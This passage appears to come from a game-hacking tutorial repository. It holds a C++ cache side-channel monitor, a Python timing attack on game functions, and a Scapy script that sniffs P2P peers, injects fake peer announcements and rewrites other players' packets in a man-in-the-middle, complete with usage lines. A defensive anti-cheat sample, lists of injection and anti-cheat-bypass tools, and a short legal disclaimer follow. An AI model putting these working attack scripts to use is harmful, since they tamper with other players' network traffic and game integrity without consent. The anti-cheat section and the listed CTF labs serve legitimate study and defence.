_mm_clflush(addr);
_mm_mfence();
// Wait for victim to access
for (volatile int i = 0; i < 1000; i++);
// Measure reload time
start = __rdtscp(&ui);
*(volatile char*)addr;
end = __rdtscp(&ui);
_mm_mfence();
return end - start;
}
// Detect if address was accessed by game
static bool WasAccessed(void* addr) {
uint64_t time = ProbeAddress(addr);
return time < THRESHOLD; // Fast = in cache = was accessed
}
// Monitor game state through cache
static void MonitorGameState(void* game_state_addr, size_t size) {
printf("[+] Monitoring game state via cache side-channel\n");
while (true) {
for (size_t offset = 0; offset < size; offset += CACHE_LINE_SIZE) {
void* addr = (char*)game_state_addr + offset;
if (WasAccessed(addr)) {
printf("[+] Cache line accessed: offset 0x%zx\n", offset);
// Infer game state from access pattern
AnalyzeAccessPattern(offset);
}
}
Sleep(10);
}
}
static void AnalyzeAccessPattern(size_t offset) {
// Example: Detect player position updates
if (offset >= 0x100 && offset < 0x110) {
printf(" -> Player position being updated\n");
}
// Example: Detect health changes
else if (offset == 0x200) {
printf(" -> Health value accessed\n");
}
}
private:
static unsigned int ui;
};
unsigned int CacheSideChannel::ui = 0;
Timing-Based Health Detection
import time
import statistics
class TimingAttack:
def __init__(self, game_process):
self.process = game_process
def measure_execution_time(self, function_addr, iterations=1000):
times = []
for _ in range(iterations):
start = time.perf_counter_ns()
# Call target function (via DLL injection or similar)
self.call_function(function_addr)
end = time.perf_counter_ns()
times.append(end - start)
return statistics.mean(times), statistics.stdev(times)
def detect_health_threshold(self, damage_function_addr):
# Health checks often have branches: if (health <= 0)
# Timing will differ based on branch taken
print('[+] Measuring damage function timing...')
# Set health to different values and measure
health_values = [100, 50, 25, 10, 1, 0]
timings = {}
for health in health_values:
self.set_health(health)
mean_time, std_dev = self.measure_execution_time(damage_function_addr)
timings[health] = mean_time
print(f'Health {health}: {mean_time:.2f}ns (±{std_dev:.2f})')
# Detect timing anomaly (death threshold)
for health, timing in timings.items():
if abs(timing - timings[100]) > 50: # Significant difference
print(f'[+] Death threshold detected at health <= {health}')
break
def infer_enemy_count_by_timing(self, ai_update_addr):
# AI update time scales with enemy count
mean_time, _ = self.measure_execution_time(ai_update_addr, 100)
# Approximate: 10ms per enemy
estimated_enemies = int(mean_time / 10000000)
print(f'[+] Estimated enemy count: {estimated_enemies}')
return estimated_enemies
P2P Network Exploitation
Peer Discovery Manipulation
from scapy.all import *
import struct
class P2PExploit:
def __init__(self, game_port):
self.game_port = game_port
self.peers = []
def discover_peers(self):
# Sniff P2P discovery broadcasts
def packet_handler(packet):
if packet.haslayer(UDP) and packet[UDP].dport == self.game_port:
peer_ip = packet[IP].src
if peer_ip not in self.peers:
self.peers.append(peer_ip)
print(f'[+] Discovered peer: {peer_ip}')
sniff(filter=f'udp port {self.game_port}', prn=packet_handler, timeout=30)
return self.peers
def inject_fake_peer(self, target_ip, fake_peer_ip):
# Send fake peer announcement to target
packet = IP(dst=target_ip)/UDP(dport=self.game_port)/Raw(load=self.craft_peer_announcement(fake_peer_ip))
send(packet)
print(f'[+] Injected fake peer {fake_peer_ip} to {target_ip}')
def craft_peer_announcement(self, peer_ip):
# Example P2P announcement format
announcement = struct.pack('<I', 0x12345678) # Magic
announcement += struct.pack('<H', 1) # Protocol version
announcement += socket.inet_aton(peer_ip) # IP address
announcement += struct.pack('<H', self.game_port) # Port
return announcement
def mitm_p2p_connection(self, peer1_ip, peer2_ip):
# Intercept traffic between two peers
def forward_packet(packet):
if packet.haslayer(IP):
if packet[IP].src == peer1_ip and packet[IP].dst == peer2_ip:
# Modify packet from peer1 to peer2
modified = self.modify_game_packet(packet)
send(modified)
elif packet[IP].src == peer2_ip and packet[IP].dst == peer1_ip:
# Modify packet from peer2 to peer1
modified = self.modify_game_packet(packet)
send(modified)
sniff(filter=f'host {peer1_ip} or host {peer2_ip}', prn=forward_packet)
def modify_game_packet(self, packet):
# Example: Modify player position in P2P packet
if packet.haslayer(Raw):
payload = bytearray(packet[Raw].load)
# Assume position at offset 8 (float x, y, z)
if len(payload) >= 20:
x, y, z = struct.unpack_from('<fff', payload, 8)
# Teleport player
x += 100.0
struct.pack_into('<fff', payload, 8, x, y, z)
packet[Raw].load = bytes(payload)
# Recalculate checksum
del packet[UDP].chksum
del packet[IP].chksum
return packet
# Usage
exploit = P2PExploit(7777)
peers = exploit.discover_peers()
exploit.inject_fake_peer(peers[0], '192.168.1.100')
exploit.mitm_p2p_connection(peers[0], peers[1])
Anti-Cheat Development Perspective
Building Simple Anti-Cheat System
#include <Windows.h>
#include <TlHelp32.h>
#include <vector>
#include <string>
class AntiCheatSystem {
private:
DWORD game_pid;
std::vector<DWORD> suspicious_processes;
public:
AntiCheatSystem(DWORD pid) : game_pid(pid) {}
// 1. Detect known cheat tools
bool DetectCheatTools() {
const wchar_t* cheat_tools[] = {
L"cheatengine-x86_64.exe",
L"x64dbg.exe",
L"ollydbg.exe",
L"ida.exe",
L"ida64.exe"
};
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) return false;
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(pe32);
if (Process32FirstW(hSnapshot, &pe32)) {
do {
for (const auto& tool : cheat_tools) {
if (_wcsicmp(pe32.szExeFile, tool) == 0) {
CloseHandle(hSnapshot);
return true;
}
}
} while (Process32NextW(hSnapshot, &pe32));
}
CloseHandle(hSnapshot);
return false;
}
// 2. Detect debuggers
bool DetectDebugger() {
// IsDebuggerPresent
if (IsDebuggerPresent()) {
return true;
}
// CheckRemoteDebuggerPresent
BOOL debuggerPresent = FALSE;
CheckRemoteDebuggerPresent(GetCurrentProcess(), &debuggerPresent);
if (debuggerPresent) {
return true;
}
// NtQueryInformationProcess
typedef NTSTATUS (WINAPI* NtQueryInformationProcess_t)(HANDLE, DWORD, PVOID, ULONG, PULONG);
NtQueryInformationProcess_t NtQueryInformationProcess =
(NtQueryInformationProcess_t)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryInformationProcess");
if (NtQueryInformationProcess) {
DWORD debugPort = 0;
NtQueryInformationProcess(GetCurrentProcess(), 7, &debugPort, sizeof(debugPort), NULL);
if (debugPort != 0) {
return true;
}
}
return false;
}
// 3. Integrity checks
bool VerifyCodeIntegrity() {
HMODULE hModule = GetModuleHandle(NULL);
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS pNTHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hModule + pDosHeader->e_lfanew);
// Calculate hash of .text section
PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNTHeaders);
for (int i = 0; i < pNTHeaders->FileHeader.NumberOfSections; i++) {
if (strcmp((char*)pSection->Name, ".text") == 0) {
BYTE* code = (BYTE*)hModule + pSection->VirtualAddress;
DWORD size = pSection->Misc.VirtualSize;
DWORD hash = CalculateCRC32(code, size);
// Compare with known good hash
if (hash != 0x12345678) { // Replace with actual hash
return false;
}
}
pSection++;
}
return true;
}
// 4. Memory protection scan
bool ScanMemoryProtections() {
MEMORY_BASIC_INFORMATION mbi;
PBYTE address = NULL;
while (VirtualQuery(address, &mbi, sizeof(mbi))) {
// Detect suspicious RWX pages
if (mbi.Protect == PAGE_EXECUTE_READWRITE && mbi.Type == MEM_PRIVATE) {
// Potential code injection
return false;
}
address += mbi.RegionSize;
}
return true;
}
// 5. Detect external processes reading memory
bool DetectMemoryReaders() {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) return false;
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(pe32);
if (Process32First(hSnapshot, &pe32)) {
do {
if (pe32.th32ProcessID == game_pid) continue;
// Try to open game process with PROCESS_VM_READ
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pe32.th32ProcessID);
if (hProcess) {
// Check if this process has handle to our process
if (HasHandleToProcess(hProcess, game_pid)) {
CloseHandle(hProcess);
CloseHandle(hSnapshot);
return true;
}
CloseHandle(hProcess);
}
} while (Process32Next(hSnapshot, &pe32));
}
CloseHandle(hSnapshot);
return false;
}
// Main scan routine
void RunScan() {
while (true) {
if (DetectCheatTools()) {
printf("[!] Cheat tool detected\n");
TriggerBan();
}
if (DetectDebugger()) {
printf("[!] Debugger detected\n");
TriggerBan();
}
if (!VerifyCodeIntegrity()) {
printf("[!] Code integrity check failed\n");
TriggerBan();
}
if (!ScanMemoryProtections()) {
printf("[!] Suspicious memory protections\n");
TriggerBan();
}
if (DetectMemoryReaders()) {
printf("[!] External memory reader detected\n");
TriggerBan();
}
Sleep(5000); // Scan every 5 seconds
}
}
private:
DWORD CalculateCRC32(BYTE* data, DWORD size) {
DWORD crc = 0xFFFFFFFF;
for (DWORD i = 0; i < size; i++) {
crc ^= data[i];
for (int j = 0; j < 8; j++) {
crc = (crc >> 1) ^ (0xEDB88320 & -(crc & 1));
}
}
return ~crc;
}
bool HasHandleToProcess(HANDLE hProcess, DWORD target_pid) {
// Implementation would enumerate handles
return false;
}
void TriggerBan() {
// Send ban request to server
ExitProcess(0);
}
};
Tool Pairings
| Task | Toolchain |
|---|---|
| Static Analysis | Ghidra, IDA, Binary Ninja, Radare2 |
| Memory Analysis | Cheat Engine, Frida, x64dbg, ReClass.NET |
| Network Hacking | Wireshark, mitmproxy, Scapy, Burp Suite |
| Fuzzing | AFL++, Honggfuzz, Boofuzz, KernelFuzzer |
| AI Integration | YOLOv7, OpenCV, TensorFlow, TensorRT |
| Kernel Exploits | WinDbg, Ghidra, UEFITool |
| Automation | Python, pymem, Selenium |
Hands On Game Hacking Labs & Guided Practice
Build practical skills by reversing real games and engineered CTF challenges:
| Platform / Focus | Description | Link |
|---|---|---|
| PwnAdventure 3 | Open world MMO designed to be hacked — client, memory, physics, packets, crypto | https://www.pwnadventure.com/ |
| pwnable.kr | Memory corruption + reversing fundamentals applied to game logic | http://pwnable.kr/ |
| Crackmes.one | Thousands of Windows & Linux reversing targets (game-style binaries included) | https://crackmes.one/ |
| Root-Me Reverse Engineering Track | Progressive reversing puzzles — anti-debug, obfuscation, C++ objects | https://root-me.org/en/Challenges/ |
| Unity / Unreal RE Exercises | IL2CPP dumps, GameAssembly exports, engine asset reversing | https://zenhax.com/ |
| OverTheWire | Foundational binary hacking — stack, heap, formatting vulnerabilities | https://overthewire.org/wargames/ |
Game Hacking Tool Stack {#essential-tool-stack}
The must have loadout for reversing, memory exploitation, and anti-cheat bypass.
Full Game Hacking Toolchain — Reverse Engineering, Memory Editing, Anti-Cheat, Engine RE
| Tool | Category / Purpose | Why Game Hackers Use It | Link |
|---|---|---|---|
| Cheat Engine | Memory Editing | Pointer scans, AOB sigs, auto-assembler, injection | https://cheatengine.org/ |
| ReClass.NET | Memory Mapping | Class graphs for players, weapons, struct layout | https://github.com/ReClassNET/ReClass.NET |
| x64dbg | Debugging | Breakpoints, runtime patching, anti-debug bypass | https://x64dbg.com/ |
| ScyllaHide | Anti-Anti-Debug | Stealth layer for x64dbg against anti-cheat | https://github.com/x64dbg/ScyllaHide |
| GH Injector | DLL Injection | Manual-map injection to bypass anti-cheat hooks | https://github.com/guided-hacking/GH-Injector-Library |
| Process Hacker | Process Visibility | Handle access, driver monitors, protection suspension | https://processhacker.sourceforge.io/ |
| IDA Free | Static Binary RE | CFG reversing, game logic and RTTI analysis | https://hex-rays.com/ida-free/ |
| Ghidra | RE + Auto-Patching | Decompiled game logic + scripting hooks | https://ghidra-sre.org/ |
| Binary Ninja (Community/Pro) | Next-Gen RE | Dataflow graph, exploit-focused patching | https://binary.ninja/ |
| PE-bear | Anti-Cheat Analysis | PE integrity, packed EXEs, anti-tamper profiling | https://github.com/hasherezade/pe-bear |
| HxD | Hex Editing | File save modding, memory patching, checksum fix | https://mh-nexus.de/en/hxd/ |
| ImHex | Structured Hex RE | Pattern language for asset/data formats, binary visualization | https://imhex.werwolv.net/ |
| IL2CPP Dumper | Unity IL2CPP | GameAssembly + metadata dump | https://github.com/Perfare/Il2CppDumper |
| Il2CppInspector | Unity IL2CPP | Structs, offsets, script reconstruction | https://github.com/djkaty/Il2CppInspector |
| dnSpy Ex / Reloaded | Unity C# RE | Debug/patch live managed scripts | https://github.com/dnSpyEx/dnSpy |
| UE4SS / Unreal Dumper | Unreal Engine RE | UObject table, SDK gen, offsets | https://github.com/UE4SS-RE/RE-UE4SS |
| ImGui Overlay | ESP UI | Internal overlay rendering | https://github.com/ocornut/imgui |
| RenderDoc | Graphics RE | Frame capture, shader reverse engineering | https://renderdoc.org/ |
Documentation Shortcuts {#tool-docs}
| Tool | Docs | Link |
|---|---|---|
| Cheat Engine | Pointer scan, AA scripting | https://wiki.cheatengine.org/ |
| x64dbg | Plugin + anti-debug docs | https://help.x64dbg.com/en/latest/ |
| Ghidra | Full manual | https://ghidra-sre.org/Documentation.html |
| RenderDoc | Shader analysis guide | https://renderdoc.org/docs/ |
Learning Pathways — Choose Your Specialization
| Track | Professional Focus | What You’ll Master |
|---|---|---|
| Memory Forensics & Binary Modification | Application Security + RE | Pointer chains, structure dissecting, runtime patching |
| Game Protocol Analysis | Network Security + Exploitation | Packet replay, movement logic, client/server trust bypass |
| Anti-Cheat Integrity Research | Detection Engineering | Anti-debug stealth, manual-map injection, kernel surface mapping |
| Game Engine Reverse Engineering | Offensive/Defensive RE | IL2CPP/UE internals, asset manipulation, logic patches |
Informal aliases: Pointer Surgeon, Packet Ghost, Anti-Cheat Ninja, Engine Wizard
Legal & Ethical Use
This repository is intended for:
- CTFs and hacking themed games
- Research environments
- Games and systems you own
- Educational purposes
Never exploit commercial or online games without explicit permission.